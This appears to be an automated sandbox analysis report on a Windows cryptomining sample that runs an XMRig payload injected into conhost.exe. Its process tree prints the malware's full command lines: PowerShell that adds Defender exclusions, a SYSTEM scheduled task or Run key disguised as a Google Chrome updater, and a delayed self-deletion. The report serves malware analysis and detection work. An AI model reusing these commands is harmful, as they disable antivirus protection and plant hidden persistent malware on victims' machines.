Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1786s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231129-en
General
-
Target
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Q5EUCWHU7pMYBfT3.exeupdater.execonhost.exedescription pid process target process PID 2964 created 1252 2964 Q5EUCWHU7pMYBfT3.exe Explorer.EXE PID 2964 created 1252 2964 Q5EUCWHU7pMYBfT3.exe Explorer.EXE PID 2964 created 1252 2964 Q5EUCWHU7pMYBfT3.exe Explorer.EXE PID 2964 created 1252 2964 Q5EUCWHU7pMYBfT3.exe Explorer.EXE PID 2960 created 1252 2960 updater.exe Explorer.EXE PID 2960 created 1252 2960 updater.exe Explorer.EXE PID 2960 created 1252 2960 updater.exe Explorer.EXE PID 2960 created 1252 2960 updater.exe Explorer.EXE PID 1484 created 1252 1484 conhost.exe Explorer.EXE PID 2960 created 1252 2960 updater.exe Explorer.EXE -
XMRig Miner payload 29 IoCs
Processes:
resource yara_rule behavioral21/memory/2040-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/2040-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2596 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2960 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2904 taskeng.exe -
Processes:
resource yara_rule behavioral21/memory/2040-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/2040-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2960 set thread context of 1484 2960 updater.exe conhost.exe PID 2960 set thread context of 2040 2960 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Q5EUCWHU7pMYBfT3.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Q5EUCWHU7pMYBfT3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2620 schtasks.exe 692 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70530f62874eda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
Q5EUCWHU7pMYBfT3.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2964 Q5EUCWHU7pMYBfT3.exe 2964 Q5EUCWHU7pMYBfT3.exe 2704 powershell.exe 2964 Q5EUCWHU7pMYBfT3.exe 2964 Q5EUCWHU7pMYBfT3.exe 1932 powershell.exe 2964 Q5EUCWHU7pMYBfT3.exe 2964 Q5EUCWHU7pMYBfT3.exe 2964 Q5EUCWHU7pMYBfT3.exe 2964 Q5EUCWHU7pMYBfT3.exe 2580 powershell.exe 2960 updater.exe 2960 updater.exe 1740 powershell.exe 2960 updater.exe 2960 updater.exe 2164 powershell.exe 2960 updater.exe 2960 updater.exe 2960 updater.exe 2960 updater.exe 1484 conhost.exe 1484 conhost.exe 2960 updater.exe 2960 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 2704 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 1740 powershell.exe Token: SeDebugPrivilege 2164 powershell.exe Token: SeDebugPrivilege 2960 updater.exe Token: SeAssignPrimaryTokenPrivilege 584 WMIC.exe Token: SeIncreaseQuotaPrivilege 584 WMIC.exe Token: SeSecurityPrivilege 584 WMIC.exe Token: SeTakeOwnershipPrivilege 584 WMIC.exe Token: SeLoadDriverPrivilege 584 WMIC.exe Token: SeSystemtimePrivilege 584 WMIC.exe Token: SeBackupPrivilege 584 WMIC.exe Token: SeRestorePrivilege 584 WMIC.exe Token: SeShutdownPrivilege 584 WMIC.exe Token: SeSystemEnvironmentPrivilege 584 WMIC.exe Token: SeUndockPrivilege 584 WMIC.exe Token: SeManageVolumePrivilege 584 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 584 WMIC.exe Token: SeIncreaseQuotaPrivilege 584 WMIC.exe Token: SeSecurityPrivilege 584 WMIC.exe Token: SeTakeOwnershipPrivilege 584 WMIC.exe Token: SeLoadDriverPrivilege 584 WMIC.exe Token: SeSystemtimePrivilege 584 WMIC.exe Token: SeBackupPrivilege 584 WMIC.exe Token: SeRestorePrivilege 584 WMIC.exe Token: SeShutdownPrivilege 584 WMIC.exe Token: SeSystemEnvironmentPrivilege 584 WMIC.exe Token: SeUndockPrivilege 584 WMIC.exe Token: SeManageVolumePrivilege 584 WMIC.exe Token: SeLockMemoryPrivilege 2040 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 1932 wrote to memory of 2620 1932 powershell.exe schtasks.exe PID 1932 wrote to memory of 2620 1932 powershell.exe schtasks.exe PID 1932 wrote to memory of 2620 1932 powershell.exe schtasks.exe PID 2596 wrote to memory of 3048 2596 cmd.exe choice.exe PID 2596 wrote to memory of 3048 2596 cmd.exe choice.exe PID 2596 wrote to memory of 3048 2596 cmd.exe choice.exe PID 2580 wrote to memory of 2004 2580 powershell.exe schtasks.exe PID 2580 wrote to memory of 2004 2580 powershell.exe schtasks.exe PID 2580 wrote to memory of 2004 2580 powershell.exe schtasks.exe PID 2904 wrote to memory of 2960 2904 taskeng.exe updater.exe PID 2904 wrote to memory of 2960 2904 taskeng.exe updater.exe PID 2904 wrote to memory of 2960 2904 taskeng.exe updater.exe PID 2164 wrote to memory of 692 2164 powershell.exe schtasks.exe PID 2164 wrote to memory of 692 2164 powershell.exe schtasks.exe PID 2164 wrote to memory of 692 2164 powershell.exe schtasks.exe PID 2960 wrote to memory of 1484 2960 updater.exe conhost.exe PID 1652 wrote to memory of 584 1652 cmd.exe WMIC.exe PID 1652 wrote to memory of 584 1652 cmd.exe WMIC.exe PID 1652 wrote to memory of 584 1652 cmd.exe WMIC.exe PID 2960 wrote to memory of 2040 2960 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1252
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2964
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2620
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2004
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:692
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2340
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:584
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1484
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3048
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2960
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C:\Windows\system32\taskeng.exetaskeng.exe {5AD8CAEB-11D3-48FC-B701-094E59214C39} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2904
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
69KB
MD50806b3d8ef9d8ce59660dcb2d59dcdee
SHA18897589f4d9ef24226a9bc85323f7d3287fd0c35
SHA2563fe5003ea8341151f7295c2b8362eae4255c9135188109a2f97f0f75410ca3ff
SHA512df04b4b068d1b66f67990ec2b008fd84fd73f67081d9a76dbd36ef1e516e4c90486fba1c7c293d52d59d36a4f700cfd237f83b90b4e1f20727aa738e7fbbc07c
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Filesize
18KB
MD5f391da1c31a6df8d4813f81928dd7d54
SHA1c02a87c254bc26f3914ede346483f16cfb22692c
SHA256c71c1debe5442775165eab9aba38dd5260f7d9f48bc4d702d8c3520fc867a0b1
SHA512b58e799fa91ea5e9b2c95058aa5c1810b02d1d6e273201035fa19574a6363b8a45b0fa474f9750f58dad8f6a6a412c9c500d18d4d286644eb588e7634a188d43
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TFKC21WUH14YXGHJSHMZ.temp
Filesize7KB
MD58827676e93c87c2cb6acd6e8c16ea8a4
SHA12b61bcf346301803b4120604b8339a45625aae20
SHA25614d1e07711dbaf085f81c6625a884ba7193e0d74c5a1af716a72c57fd0815448
SHA5123967b739a33c0b28ae985b23a05e2c24f8728efbb8cc184fe6acecdab5e92a31d6b3f4db7afce5629dc66ace6266878973b276d7a1285c449114dba9b67a3c9b
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Filesize
170KB
MD5362a1732134e5a3fdeac05970ff75a42
SHA13d5f1f341a793f874d0ec2e12c88f7f3d1b8225a
SHA2567ea922e92629d542d5dcfe93d79b218bf186ab0d7a47b75fab3e303abfbf4d6f
SHA512a443a488d647ddec59062185fa91280e08eafcdd9a0549511b7859adc33bf0f859692c48a725cbca57bfb8670ef7f7e4dd4ce53dbdc48a64e931982f4e2d6fb3